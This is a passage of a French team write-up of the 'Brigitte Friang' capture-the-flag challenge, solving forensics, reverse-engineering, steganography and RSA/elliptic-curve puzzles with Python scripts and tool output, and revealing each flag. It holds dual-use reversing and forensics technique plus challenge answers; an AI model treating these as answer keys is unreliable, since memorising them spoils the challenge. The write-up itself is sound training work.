Ange Albertini key='\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei' iv='\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82' [3]4037402d4
Ange Albertini est bien connu pour sa technique consistant à embarquer un fichier dans un autre à l’aide de chiffrement par bloc. On dispose également d’une clef et d’un IV, ce qui pourrait servir à un chiffrement de type Blowfish. Au final, on obtient [3]4037402d4.
Avec ces indications, on chiffre le PDF d’origine message.pdf via Blowfish, dans l’espoir d’obtenir un nouveau fichier. Voici le code Python mis en oeuvre :
from Crypto.Cipher import Blowfish key = b'\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei' iv = b'\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82' algo = Blowfish.new(key, Blowfish.MODE_CBC, iv) with open('message.pdf', 'rb') as f: d = f.read() d = algo.encrypt(d) with open('dec.bin', 'wb') as f: f.write(d)
Et voici le résultat de binwalk
sur le nouveau fichier trouvé :
$ binwalk -e dec.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 72613 0x11BA5 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
C’est en fait un fichier ELF embarqué dans le PDF ! On utilise le décompilateur d’IDA pour observer son contenu et on tombe sur :
checkpassword(puVar2); if ((puVar2[1] ^ *puVar2) == 0x69) { if ((puVar2[2] ^ puVar2[1]) == 0x6f) { if ((puVar2[3] ^ puVar2[2]) == 0x38) { if ((puVar2[4] ^ puVar2[3]) == 0x56) { if ((puVar2[5] ^ puVar2[4]) == 0x50) { if ((puVar2[6] ^ puVar2[5]) == 0x57) { if ((puVar2[7] ^ puVar2[6]) == 0x50) { if ((puVar2[8] ^ puVar2[7]) == 0x56) { if ((puVar2[9] ^ puVar2[8]) == 6) { if (puVar2[9] == 0x34) { puts(&aBravo); exit(0); } } } } } } } } } }
On implémente la chaîne de conditions à l’envers avec un autre code Python :
mdp = [ 0x34 ] mdp = [ mdp[0] ^ 6 ] + mdp mdp = [ mdp[0] ^ 0x56 ] + mdp mdp = [ mdp[0] ^ 0x50 ] + mdp mdp = [ mdp[0] ^ 0x57 ] + mdp mdp = [ mdp[0] ^ 0x50 ] + mdp mdp = [ mdp[0] ^ 0x56 ] + mdp mdp = [ mdp[0] ^ 0x38 ] + mdp mdp = [ mdp[0] ^ 0x6f ] + mdp mdp = [ mdp[0] ^ 0x69 ] + mdp print(mdp) print(bytes(mdp))
Résultat du script :
$ python3 script.py [91, 50, 93, 101, 51, 99, 52, 100, 50, 52] b'[2]e3c4d24'
On a maintenant [2]e3c4d24.
Pour résumer, on dispose de :
Selon l’exemple donné dans le fichier info.txt de secrets.zip, il y a une chaîne [0] qui manque toujours. Or, on ne sait toujours pas ce que le code Javascript du début signifiait, mais il pourrait servir.
Pour rappel, il correspondait au code suivant :
var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54]; for (i = 0; i < flag.length; i++) { flag[i] = flag[i] + 4 } alert(String.fromCharCode.apply(String, flag));
On supprime le « +4 » du script et on obtient la dernière partie : [0]aa938a16
Comme indiqué dans info.txt, on concatène chaque partie et on trouve le flag : DGSESIEE{aa938a164d862d5ae3c4d244037402d4}.
L’indication pour cette mission est la suivante :
Nous pensons avoir retrouvé la trace d'Eve Descartes. Nous avons reçu un fichier anonyme provenant d'un smartphone Android (probablement celui de son ravisseur). Retrouvez des informations dans son historique de position. Le flag est de la forme DGSESIEE{x} avec x une chaine de caractères memdump.txt (SHA256=29c702ff8dc570319e5e8d05fc4cb96c1536b595b9a4e93d6205774f9afd2bff) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/memdump.txt
Seul un fichier memdump.txt est disponible comme base de travail. Dans les faits, ce fichier est un dump mémoire d’un mobile Android, et est supposé contenir un historique de locations GPS associé à Eve Descartes.
En recherchant le mot « gps » dans le fichier texte, quelque chose d’intéressant apparaît : un série de localisations particulières. Chacun de ces localisations est une liste de coordonnées GPS.
$ cat memdump.txt [...] Historical Records by Provider: com.google.android.gms: gps: Interval 360 seconds: Duration requested 0 total, 0 foreground, out of the last 8 minutes: Currently active android: passive: Min interval 0 seconds: Max interval 1800 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active com.google.android.gms: passive: Interval 0 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active Last Known Locations: gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] Last Known Locations Coarse Intervals: gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] Custom Location History : Custom Location 1 gps: Location[gps -47,1462046 30,9018186 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1963297 30,9012294 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1970164 30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1438013 30,8652827 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1448313 30,9642508 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] Custom Location 2 gps: Location[gps -47,0820032 30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1300684 30,8643986 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1304118 30,9006402 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,0789133 30,9003456 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,0847498 30,8131067 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1307551 30,8148758 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1304118 30,8340395 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1084391 30,8319759 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] [...]
Nous avons trouvé un site Web qui aide à visualiser ces coordonnées. Pour chacune des localisations particulières, un jeu de points a été renseigné, des lignes allant du premier au dernier point ont été tracées, et au final ces résultats ont été obtenus :
Comme certains symboles apparaissent plusieurs fois, le motif DGSESIEE a été rapidement identifié, et a pu être obtenu en pivotant les lettres de 90° et en les retournant.
Le drapeau était : DGSESIEE{OC34N}.
Les instructions pour cette mission sont :
Nos agents ont trouvé dans le camion de livraison une clef USB. Nous vous transférons le filesystem de cette dernière et espérons que votre grande capacité de réflexion pemettra de révéler les secrets les plus sombres d'Evil Country ! Le flag est de la forme DGSEESIEE{x} avec x une chaine de caractères. (Attention au DGEESIEE, une erreur de typo s'est glissée dans le flag) message (SHA256=3889febebd6b1d35c057c3ba3f6f722798f029d6d0321b484305922a3d55d4d8) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message
Le fichier fourni semble être une image de disque :
$ file message message: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 7256064, sectors 266240 (volumes > 32 MB), FAT (32 bit), sectors/FAT 2048, reserved 0x1, serial number 0xccd8d7cd, unlabeled
Cette image peut être montée en tant que ressource locale, et livre les premières étapes du challenge :
# mkdir /tmp/disk # mount -o loop message /tmp/disk/ # ls -lh /tmp/disk/ total 37M -rwxr-xr-x 1 root root 532 oct. 15 17:48 readme -rwxr-xr-x 1 root root 37M juil. 8 16:02 steganausorus.apk # cat /tmp/disk/readme Bonjour evilcollegue ! Je te laisse ici une note d'avancement sur mes travaux ! J'ai réussi à implémenter complétement l'algorithme que j'avais présenté au QG au sein d'une application. Je te joins également discrétement mes premiers résultats avec de vraies données sensibles ! Ils sont bons pour la corbeille mais ça n'est que le début ! Je t'avertis, l'application souffre d'un serieux defaut de performance ! je m'en occuperai plus tard. contente-toi de valider les résultats. Merci d'avance For the worst, QASKAB
La mention de la poubelle dans le message amène à de plus amples investigations, et à un fichier appelé flag.png :
# find /tmp/disk/ /tmp/disk/ /tmp/disk/readme /tmp/disk/steganausorus.apk /tmp/disk/.Trash-1000 /tmp/disk/.Trash-1000/info /tmp/disk/.Trash-1000/info/flag.png.trashinfo /tmp/disk/.Trash-1000/files /tmp/disk/.Trash-1000/files/flag.png # file /tmp/disk/.Trash-1000/files/flag.png /tmp/disk/.Trash-1000/files/flag.png: PNG image data, 1000 x 514, 8-bit/color RGBA, non-interlaced
Note : le fichier peut également être extrait en utilisant binwalk
directement :
$ binwalk message | grep -i png 2114048 0x204200 PNG image, 1000 x 514, 8-bit/color RGBA, non-interlaced
Comme l’image flag.png ne donne pas plus d’indications (pour l’instant), l’attention reste sur l’application Android, qui peut être désassemblée :
$ apktool d steganausorus.apk -o steg I: Using Apktool 2.3.4-dirty on steganausorus.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/XXX/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
Le résultat est relativement volumineux :
$ du -sch steg 116M steg 116M total
Certains éléments font référence à « flutter » :
$ find steg/assets/ steg/assets/ steg/assets/flutter_assets steg/assets/flutter_assets/isolate_snapshot_data steg/assets/flutter_assets/LICENSE steg/assets/flutter_assets/vm_snapshot_data steg/assets/flutter_assets/AssetManifest.json steg/assets/flutter_assets/packages steg/assets/flutter_assets/packages/cupertino_icons steg/assets/flutter_assets/packages/cupertino_icons/assets steg/assets/flutter_assets/packages/cupertino_icons/assets/CupertinoIcons.ttf steg/assets/flutter_assets/kernel_blob.bin steg/assets/flutter_assets/fonts steg/assets/flutter_assets/fonts/MaterialIcons-Regular.ttf steg/assets/flutter_assets/FontManifest.json
A l’aide d’une rapide recherche, il apparaît que le fichier kernel_blob.bin est lié à Flutter, un ensemble d’outils graphiques de Google pour construire de belles et natives applications pour mobiles, Web et ordinateurs depuis une base de code unique.
Des comptes rendus précédents pour le même genre de challenge apportent un peu d’aide: le noyau contient du code source, and le mot clef MyHomePageState peut être un bon point de départ afin d’identifier le code principal de l’application.
Par ailleurs, il semble n’exister qu’un seul fichier de code intéressant pour le challenge actuel, ce qui épargne pas mal de temps :
$ strings -a kernel_blob.bin | grep -o 'file:///.*dart$' [...] file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_manager.dart file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/process-3.0.13/lib/src/interface/process_wrapper.dart file:///D:/stegapp/stegapp/lib/main.dart file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_buffers.dart file:///D:/Nouveau%20dossier/flutter/.pub-cache/hosted/pub.dartlang.org/typed_data-1.1.6/lib/typed_data.dart [...] $ strings -a kernel_blob.bin | grep -o 'file:///.*dart$' | wc -l 913
Les sauts de ligne du code source extrait peuvent être convertis avec l’outil dos2unix
au besoin.
Le challenge se réduit à lire du code :
String stringtowrite=""; stringtowrite+=offsetarray.length.toRadixString(2).padLeft(datasizebit,'0')+lenghtsizebit.toRadixString(2).padLeft(datasizebit,'0'); offsetarray.forEach((listofdata){ // listofdata.forEach((data){ // print(data.toRadixString(2).padLeft(datasizebit,'0')); stringtowrite+=listofdata[0].toRadixString(2).padLeft(datasizebit,'0')+listofdata[1].toRadixString(2).padLeft(lenghtsizebit,'0'); });
Un morceau de code capital est :
String Megastringtosearch= MegaString.substring((MegaString.length/4).round());
Ainsi, le premier quart de l’image est sauté pendant la recherche des motifs.
La documentation pour Image Class est utile pour comprendre comment l’API fonctionne sans avoir à lancer l’application :
operator [](int index) → int Get a pixel from the buffer. No range checking is done. getPixel(int x, int y) → int Get the pixel from the given x, y coordinate. Color is encoded in a Uint32 as #AABBGGRR. No range checking is done.
Un zoom sur le coin supérieur auche de flag.png confirme que quelque chose est bien encodé dans les données de l’image :
Le script Python unsteg.py inverse le processus de dissimulation :
$ python3 ./unsteg.py [i] Size: 1000 x 514 [i] Pixel width: 4 [i] Offset data size: 12336000 [i] Data size bit: 24 [i] Offset array: 8 [i] Length size bit: 8 [i] Hidden: 19 bits at offset 3318975 [i] Hidden: 24 bits at offset 7252546 [i] Hidden: 26 bits at offset 4093570 [i] Hidden: 18 bits at offset 3084414 [i] Hidden: 22 bits at offset 4123951 [i] Hidden: 24 bits at offset 5062908 [i] Hidden: 22 bits at offset 7279338 [i] Hidden: 13 bits at offset 3102140 [i] Total: 168 [!] Flag: DGSEESIEE{FL4GISH3R3}
La description de ce challenge est :
Un de nos agents est parvenu à dérober une clé privée et un fichier chiffré à Evil Gouv. Retrouvez l'information, avec un peu d'imagination Le flag est juste une chaîne de caractères (sans le DGESIEE{}) private.pem (SHA256=84f2c60b3d796a01e7762777923a8921433bce8ead72bc94fa26d1676ecef637) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/private.pem EVIL-FILE.txt.enc (SHA256=aee3dd5b398689bb73a207a52d56a130bca8fb30e3261e419ab22026b447b5ab) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/EVIL-FILE.txt.enc
Une clef privée et un message chiffré sont à disposition.
La taille de la clef est vraiment surprenante :
$ openssl pkey -in private.pem -noout -text | head -1 RSA Private-Key: (10375 bit, 2 primes)
La taille est de 10375 bits, ce qui correspond à 10375 / 8 = 1296.875 octets.
Curieusement, le fichier chiffré a la même taille :
$ ls -l key.raw EVIL-FILE.txt.enc -rw-r--r-- 1 XXXXX XXXXX 1297 oct. 21 14:42 EVIL-FILE.txt.enc
La première chose à faire est d’utiliser la clef pour lire le message ; malheureusement, cela ne fournit pas beaucoup d’information.
$ openssl rsautl -decrypt -in EVIL-FILE.txt.enc -out /dev/stdout -inkey private.pem 221 x 7
En observant les informations contenues dans la clef privée, un des paramètres se révèle assez étrange en décimal :
$ cat private.pem | openssl rsa -text -noout [...] exponent1: 01:fe:6f:62:70:d2:01:6f:a0:09:2f:bc:3d:f8:40: f6:0c:eb:5a:ff:b1:cb:46:c6:ae:11:a9:f8:ba:16: bc:bc:10:9a:ab:65:e3:b2:e1:8f:fb:e5:73:b9:af: 1c:e7:34:96:67:b2:c8:49:95:49:83:41:9c:91:44: 58:b1:e5:a2:2f:bf:43:b6:65:d6:bb:ea:83:fc:8e: 5f:c3:50:bf:39:b1:25:02:2c:8b:af:94:f1:8c:f1: a5:96:c5:79:81:33:6c:42:e0:2b:61:7c:25:8e:3c: a6:d7:25:ca:5b:e5:56:76:1b:77:fc:b6:41:c3:7b: 40:4b:7d:2d:14:4a:13:09:fd:8e:98:19:dd:fc:5c: d2:01:82:a7:06:cc:93:00:20:c9:aa:af:fd:11:f3: 33:e9:bf:f9:02:9c:0f:6b:ee:db:36:53:eb:30:e0: c6:59:17:de:0a:5f:4a:44:6a:07:ec:96:e9:18:35: cc:f9:f7:35:0b:48:03:c5:4b:b2:ae:42:77:8c:0f: 70:ee:78:c7:fb:70:92:5b:56:c0:08:80:c2:0c:53: 4b:39:14:f0:74:b3:06:8a:b3:c8:47:c0:d7:e7:ee: 6c:31:64:e0:f6:43:e8:6f:ef:b7:4e:74:82:1b:65: fe:07:67:6d:82:29:13:f6:9d:f3:ba:88:43:64:88: 58:ec:08:9a:58:78:87:bf:30:0d:3e:5b:3a:0d:7c: c0:df:41:c2:cc:65:6e:86:ca:cc:94:13:e8:d6:d7: 22:85:bf:ed:2e:d1:c8:b5:38:93:70:a2:35:f5:c4: 98:2a:f0:b3:38:15:67:88:7a:42:4d:96:c7:6e:5f: 8d:e0:9e:0c:56:cc:e8:3b:ac:4c:b7:c8:2f:8d:f9: de:f0:1c:fc:e3:82:9a:ab:b8:23:86:9f:27:6c:b3: 07:ae:00:26:b0:af:56:db:2b:db:3e:38:dc:73:ad: ee:76:3c:68:86:2b:7e:56:2a:f2:88:d7:64:b2:ed: bf:da:d7:f2:94:9a:ef:51:d5:19:27:29:3b:05:01: 07:49:c9:84:83:f2:cb:aa:6e:13:08:66:83:c8:35: f3:0a:59:fe:0a:52:4a:61:7d:fc:f6:13:bf:d4:35: 88:70:bb:a8:65:19:33:29:7d:06:f2:07:01:7e:25: c5:a9:40:c3:4e:94:89:5e:46:c4:b9:c6:0a:f9:ed: 5a:51:81:a5:7c:d1:f8:db:4c:ee:a1:7f:3b:3b:7e: 0b:da:3a:21:6a:de:52:d6:95:bc:87:31:62:88:f6: 13:0e:a0:c2:9e:61:cc:e7:77:31:5e:49:91:bc:42: 9c:e2:a0:42:66:79:05:f2:bd:b6:e9:db:eb:d3:86: 83:57:ca:71:92:94:fc:fe:07:49:df:3d:e3:65:73: c0:64:b2:e1:23:82:f8:15:b5:41:cb:23:32:9b:59: 7a:7e:01:af:f4:59:da:46:be:b3:e8:ab:72:42:bd: e6:ef:04:06:b7:5a:21:14:61:7b:91:cb:c9:b4:be: b2:8b:9f:50:c6:37:6f:14:ad:06:ff:47:eb:9d:97: 6e:09:25:19:ce:78:91:4e:08:0b:ec:ff:f3:42:ab: a8:ae:ce:0e:08:50:24:33:84:ee:b8:a1:d4:5f:0e: 4f:df:a3:fe:db:c6:74:7a:a5:62:39:3a:87:c6:a7: 0f:e2:b9:a4:49:8f:df:dc:ed:8f:cc:a3:7b:3a:1d: 16:6f:55:e5 [...] $ python3 >>> p = """02:91:09:7c:c4:99:b5:bb:b9:da:2a:e2:ff:1b:84: ... b3:ea:15:a9:1c:21:8f:f4:fc:ff:59:1b:a2:e6:76: ... f5:67:a2:b6:6b:43:0f:61:38:28:74:09:0c:74:8b: ... 92:94:93:d0:50:a8:0f:06:98:3e:f4:52:04:6b:48: ... aa:6c:56:38:d8:2c:bf:4c:00:96:c5:5e:65:95:31: ... f8:81:af:dd:75:91:8e:7b:84:8a:27:00:41:d1:2c: ... a6:ef:40:73:8f:12:e7:24:84:21:1c:fd:54:8d:e2: ... 32:ec:67:58:45:81:b9:f7:4d:12:2c:23:44:f6:c3: ... 73:5e:3e:69:55:f2:23:a3:af:f4:af:61:c9:62:d6: ... 0c:28:d9:fa:f5:87:8e:63:8e:17:ba:dc:b1:09:e2: ... f7:96:78:4e:4a:4c:e6:53:99:2e:6f:70:2a:04:c9: ... 5c:65:3c:90:60:af:ce:23:d7:79:ae:cc:f4:09:ee: ... 10:d5:36:3f:81:d7:2f:f1:c1:fe:57:2c:34:ba:27: ... a0:55:ce:d1:4a:49:a9:12:f0:fb:a4:54:f7:a6:15: ... 9e:56:1a:0d:9f:d1:f5:82:92:2b:e1:ff:7e:d7:a8: ... 02:55:05:30:d6:a9:d7:9d:16:97:a8:73:34:d3:19: ... 85:0a:46:51:3d:e3:7d:ca:87:e9:31:ed:c9:b3:5e: ... e3:26:97:dc:34:96:8f:e7:04:fa:df:97:60:ac:6f: ... ef:e3:db:1f:d1:8a:a8:be:63:df:ef:6e:0c:9f:d0: ... 04:cf:b1:41:3a:64:18:c5:fe:0d:6b:c7:c2:41:47: ... 04:30:ea:e7:27:b7:07:cd:91:37:0e:89:5f:59:2e: ... df:82:65:e4:da:43:f4:6b:0f:89:eb:bb:36:62:75: ... 04:aa:7d:f2:d4:33:eb:c2:30:53:80:0f:08:c2:18: ... b3:2a:7c:8a:03:df:2c:a1:c1:d3:23:ca:5a:8c:6a: ... 90:e3:e3:27:14:c9:44:4c:c1:52:ca:99:f2:98:c3: ... fd:1b:57:7c:5e:12:b4:40:2e:3b:b1:da:fb:f0:40: ... 95:0b:f0:d3:a6:4b:a3:fd:ff:5d:1f:5f:7b:f9:e5: ... 01:66:39:e7:c9:4b:cc:02:2c:8a:83:99:41:6f:70: ... 76:21:96:8e:7f:f1:51:bd:72:fe:98:f1:b0:0a:03: ... 22:f5:dd:92:0a:e1:47:33:a8:c4:8a:63:09:76:74: ... 0c:aa:40:36:b2:a7:be:d2:81:3b:45:f3:36:53:bb: ... ef:c0:27:3c:c6:44:26:32:aa:77:c0:ea:cc:db:25: ... ae:3a:0b:16:92:61:38:30:b1:46:3f:f3:b0:fc:df: ... d0:e2:0c:64:f5:25:80:67:f5:82:7a:09:2e:01:13: ... e5:3d:f7:0e:8e:72:d1:ba:02:ac:a8:37:ec:f3:46: ... 4f:de:4e:e3:cd:f0:df:9c:ca:e4:0e:4e:0b:6f:c6: ... 58:df:b5:e5:57:5d:f7:d1:39:3e:36:e2:23:49:be: ... 23:f7:2a:5a:f1:e5:3b:8e:23:03:ed:a7:80:cf:ec: ... 68:31:90:f1:0d:de:56:a5:00:92:51:a1:6d:1b:65: ... f5:29:8e:cd:6c:e3:df:2b:6b:56:e1:6b:26:5b:7c: ... 52:3b:4e:11:fe:0a:38:3b:7f:7e:4d:a8:12:e8:f9: ... 8c:71:bc:12:b4:0d:65:66:e4:e2:03:fc:6c:d0:51: ... 5e:01:08:8d:86:cd:c6:cd:f5:24:9b:00:92:91:12: ... 6a:65:7d:13""".replace(':','').replace(' ','').replace('\n','') >>> int(p, 16) 8888887778888888877777777788888888777777888888888877777788887777777777887777777777888877777777888888888777778888888888877788888888877777788888887778888888887777778888888888777777888888887778888888888887777778888888877788888888888111988888881111111111138889111111111888887111111118883111111111188111111111188881111111111188889111111118888888811118888888111111119888888111988888891111111118888871111111111888888111188888888711111111888888811118888888888118111888888319888888871188888888881188881138888888888713888888888888888831188888118888888811888888888811988888311811888889118888888888888118111888888888888811888811188888888888888118311888888111888888888888111811888888888118883198888831188888888311888888891188888113111111188871111111118888888811388888811888888888118888811111888888118881188888113111111188888118883198888888888911888881188888888888888118889118888811311111118888118881188888887111111111188883138888888811888888111888888811888888311887118888888888888811388888881188888888113888888888811881117319119188811888888811887111111111188888881118888888118888888888888111111111188881188888891181117313117188883118888888111888111733311111788811117889188887111339111888311899999338888811388888888118333311113888119997311188999111311918888111939111183118888888111888111178891888881111333331187118888888111888811133911178399113111718888997888888889978879999999977888879999999998888887999997888879999999999888879788888888799999999778888879999997788888888889988888887999997788997888888889978799999999988888877799999778797888888889978888799999778888888889998611
La solution est d’afficher ce nombre dans un rectangle de 223 x 7 caractères. Nous avons tout d’abord essayé avec une zone de 221 x 7, mais p
comporte dans les faits 14 chiffres de trop, donc il s’adapte mieux dans un rectangle de dimensions 223 x 7.
Le drapeau peut être lu dans une forme d’ASCII-art :
>>> p = str(int(p, 16)) >>> for i in range(7): ... print(p[223*i:223*(i+1)])
Et le drapeau est : AD26F7D346A2CA64
L’ambiance générale pour la mission est celle là :
Nous avons intercepté 2 fichiers (VX_elliptique.pdf et livres_Friang.pdf) émis par un sous-marin d'Evil Gouv. La référence à Brigitte Friang ne peut être une coïncidence. Nous savons de source sure qu'Eve Descartes a été enlevée par Evil Gouv et est retenue dans un de leurs sous-marins dans l'océan Atlantique. Ce doit être elle qui a envoyé ces fichiers. Grâce à une de ses crises mathématiques, elle aura sûrement caché l'identification du sous-marin dans ces fichiers. Votre mission est de retrouver l'identification du sous-marin. Le flag est de la forme DGSESIEE{x} avec x le code d'identification VX_elliptique.pdf (SHA256=7995fc6529494734bae9e2a0b1800632bf9ebd41cbfab19ce23d834eabcf7523) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/VX_elliptique.pdf livres_Friang.pdf (SHA256=222a463aeb09ef4c0599b9448184e616462459baea327827469bc7b0dd738b75) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/livres_Friang.pdf
Deux fichiers sont donnés, VX_elliptique.pdf
et livres_Friang.pdf
. Le deuxième est protégé par un mot de passe, le premier contient des informations pour trouver le mot de passe.
Ce challenge repose sur l’étude d’une courbe elliptique dans le corps fini avec
n=57896044618658097711785492504343953926634992332820282019728792003956564819949
. L’équation de cette courbe (notée (E)
) est mais
A
n’est pas donné.
A
Avec les coordonnées du point P(x, y)
qui appartient à la courbe il est possible de calculer A
. Il faut résoudre l’équation .
On constate que pour trouver A
, il est nécessaire d’inverser dans
. Les versions de Python ultérieures à 3.8 permettent de calculer des inverses modulaires avec la fonction
pow
de la façon suivante : pow(x*x,-1,n)
donne l’inverse de .
n = 57896044618658097711785492504343953926634992332820282019728792003956564819949 x = 54387532345611522562080964454373961410727797296305781726528152669705763479709 y = 14361142164866602439359111189873751719750924094051390005776268461061669568849 A = pow(x*x,-1,n)*(y*y-x*x*x-x)%n
On obtient A=486662
.
Le challenge indique qu’il existe et
tels que
et
ont les ordonnées suivantes :
Cependant les valeurs de d’abscisse ne sont pas données.
Comme les points sont des multiples de P(x,y)
ils sont sur la courbe elliptique et donc vérifient l’équation (E)
. Ainsi, trouver les valeurs de x
revient à résoudre l’équation avec
. Le problème est donc de factoriser un polynome dans
.
La librairie Python sympy
permet de faire ce type de calcul. Les contantes A
et n
ont été définies précédemment.
from sympy import poly, ground_roots from sympy.abc import x # define the constants y1 = 43534902453791495272426381314470202206884068238768892013952523542894895251100 y2 = 30324056046686065827439799532301040739788176334375034006985657438931650257514 # define the polynomial f = poly(x**3+A*x*x+x-(y1*y1)%n, modulus=n) # compute the roots roots = ground_roots(f, modulus=n)
Ainsi trois racines possibles sont trouvées pour notées
u, v, w
:
u = 54387532345611522562080964454373961410727797296305781726528152669705763479709 v = 48377962721867712227812115825967814866900072246814115371447647755178792218507 w = 13026594169836960633677904728346131575642115122520666941481783583028573455020
Les valeurs fournies par ground_roots
peuvent être négatives, dans ce cas il suffit de prendre les valeurs modulo n
pour obtenir un résultat positif.
Le même calcul pour trouve une seule racine :
r = 24592060322915955458376742075654918743307884467086758475495911637571571854426
z
z
est défini comme solution du système suivant :
Ce système implique qu’il existe des entiers p
et q
tels que . Une solution particulière de cette équation se trouve à l’aide de l’identité de Bézout. On remarque que
. En multipliant cette équation par
on trouve une solution avec
et
. Grâce à cette solution, en prennant la première racine pour
notée
u
, on obtient une solution pour z
: . Si cette solution est négative on peut prendre sa valeur modulo
.
Ainsi, une solution potentielle pour le mot de passe est :
z = 1626912004825687681266928944940137740110044614947501502667974700957265876831665835249437745227202257555252761324145945972681589648893511804029315415851794
Cette valeur permet bien de déverrouiller le PDF et révèle le flag : DGSESIEE{BF-2703-9020-RTQM}.
Le challenge Brigitte Friang a représenté une bonne opportunité d’aiguiser nos compétences techniques et de renforcer la cohésion d’équipe.
Contents d’avoir été capables d’aller jusqu’au bout de ce nouveau challenge tricolore tous ensemble !
Tous les éléments nécessaires pour rejouer ce CTF sont disponibles depuis le dépôt Risk&Co.